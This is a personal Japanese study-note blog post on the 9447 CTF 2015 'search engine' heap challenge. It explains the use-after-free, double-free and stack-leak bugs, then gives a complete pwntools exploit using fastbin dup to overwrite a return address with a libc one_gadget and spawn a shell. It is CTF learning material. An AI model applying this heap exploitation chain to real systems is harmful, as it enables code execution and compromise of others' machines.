fr33f0r4ll

自分用雑記

Heap exploitation 9447 CTF 2015: Search Engine

Heap exploitのお勉強のためにhttps://github.com/shellphish/how2heapを解いたので(Writeup見ながらだけど)、そのメモ。

問題

fastbin_dup_into_stackの9447-search-engineを解いた。
問題のリンクはhttps://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine

リンク先にあるhttps://github.com/pwning/public-writeup/tree/master/9447ctf2015/pwn230-searchhttps://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/を参考にした。

問題で与えられたプログラムは、文字列の登録と検索して削除する機能がある。

脆弱性

登録した文字列はヒープに格納されるようになっているが、削除でfreeされた後も検索可能になっている脆弱性がある。
削除されるときに0埋めされるので、元々の文字の長さのヌル文字で検索すればもう一度freeすることができる。
これによりuse after freeとdouble freeができるようになっている。

もうひとつの脆弱性は数値を読み込む処理でバッファ長だけ入力するとヌル終端されないバグがあり、スタック上の値を読み込めてしまう脆弱性がある。

全体の流れは、まずヌル終端されていない脆弱性を使い 、うまく調節してスタック中にあるスタックを指すアドレスをリークさせる。
次に、use after freeを使ってsmallbinsのfdをリークさせて、そこからlibcのベースアドレスを計算する。

最後はdouble freeとfastbin dupを使って、同じチャンクをfreeリストに繋ぐことで、スタック上のリターンアドレスのあるアドレスをヒープのアドレスとして取得する。
取得したスタックのアドレスにlibc内にあるone gadgetを指すアドレスを設定して、シェルを起動する。

以上のような流れになる。

学んだこと

use after freeとdouble freeの使われ方。
これまでuse after freeがあるからlibcが分かるとかdouble freeがあるから任意の読み書きができるとかの説明がまったく理解できなかったけど分かるようになった。

fastbin dupをどう使うか。
解説は見てどういう現象が起きるのかは知っていたけど、どう使えるのかが分かってなかった。 2つ問題を解いて、大分イメージできるようになってきた。

exploit

自分で書き直したやつ、雑なのであとで整理したい。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './search'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
    return remote('', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

def search(word):
    io.sendline('1')
    io.sendlineafter('Enter the word size:', str(len(word)))
    io.sendlineafter('Enter the word:', word)
    return io.recvline().find('Found') != -1

def index(sentence):
    io.sendline('2')
    io.sendlineafter('Enter the sentence size:', str(len(sentence)))
    io.sendlineafter('Enter the sentence:', sentence)
    io.recvuntil('Added sentence')


if args.DELAY:
    log.info('* DELAY *')
    import time
    time.sleep(3)

# スタックポインタをリークさせる
# 数値読み込みでのバッファが0x30で、ヌル終端しないので0x30文字入力するとリークさせられる
log.info('*LEAK STACK POINTER*')
io.clean()
io.sendline('A' * 0x60) # スタック上の値によってはリークしない、内部で再帰しているので繰り返し呼び出せる
io.recvuntil('is not a valid number')
leak_stack = io.recvuntil('is not a valid number')
leak_stack = leak_stack[0x31:leak_stack.find(' is not')]
leak_stack = u64(leak_stack.ljust(8, '\x00'))
log.info('leak stack: 0x{:x}'.format(leak_stack))

# use after freeでfastbinからheapの情報をリーク
log.info('*LEAK HEAP FD*')
index('A'*50 + ' ' + 'B'*5)
index('A'*50 + ' ' + 'B'*5)

## さっき登録した2つのチャンクを両方ともfreeする
search('B'*5)
io.sendline('y')  # 0埋めされてfreeされるが、リンクドリストからは外されない
io.sendline('y')  # もう片方もfreeしてbinsにつなぐ、これでfdにアドレスが入る

search('\x00'*5)  # 0埋めされた領域を検索、削除するときに0埋めされるので検索できる
io.recvuntil(': ')
leak_heap = u64(io.recvuntil('Delete')[:8])  # freeされたチャンクの先頭部分、fdが表示される
leak_heap = leak_heap & ~0xfff # almost rest chunk
log.info("leak heap: {:x}".format(leak_heap))

io.sendline('n')

# smallbinでuse-after-freeでlibc leak
log.info('*LEAK SMALLBINS*')
index(('C'*256 + ' ' + 'D'*6 + ' ').ljust(512, 'E'))  # smallbinを確保
search('D'*6)
io.sendline('y')  # freeしてfdとbkをセット

search('\0'*6)
io.recvuntil('Found 512: ')
leak_top = u64(io.recvuntil('Delete')[:8])  # topにつながれているfd?
log.info("leak top: {:x}".format(leak_top))
io.sendline('n')
libc_base = leak_top - 0x3c4b78
io.info("libc base: {:x}".format(libc_base))

# fastbin(0x38)を取得
log.info('* Dobule free *')
index('F'*51 + ' ' + 'G'*4) # as chunk a
index('H'*51 + ' ' + 'G'*4) # as chunk b
index('I'*51 + ' ' + 'G'*4) # as chunk c
search('G'*4)
io.sendline('y') # free chunk c
io.sendline('y') # free chunk b
io.sendline('y') # free chunk a

# 現在のfreeリスト [head]->a->b->c->NULL
# double-freeしてfreeリストで参照させる
search('\0'*4) # freeされたノードを検索する
# すぐにfreeされるからチャンクが結合されてcがなくなる?
io.sendline('y') # chunk bを削除
io.sendline('n') # chunk aは削除しない
# TODO: check

# freeリストは[head]->b->a->b->...となる
# chunk bが取得される
offset = 0x52
offset = 0x58 - 14 - 8 # サイズのチェックを突破するため、0x40xxxxが格納された領域の0x40がサイズになるようにずらす
log.info('ret addr: 0x{:x}'.format(leak_stack + 0x58))
index(p64(leak_stack + offset).ljust(48, '\0') + ' ' + "J"*7) # TODO: need check
# b.fd = stack_ptr (points return address)

# [head]->a->b->x
# aを取り除く
index('K'*48 + ' ' + 'J'*7) # chunk a
# [head]->b->x
# bを取り除く、このときxはleak_stack + offsetのアドレスになっている
index('L'*48 + ' ' + 'J'*7) # chunk b

# [head]->x
# leak_stack + offset、つまりリターンアドレスがmallocの返り値になっている
ret = 0x400896 # points `ret` inst
onegadget_offset = 0x45216
onegadget_offset = 0x4526a
system_magic = libc_base + onegadget_offset
index(('A'*6 + p64(system_magic)).ljust(56, 'L'))

io.sendline('3')
io.clean()
io.interactive()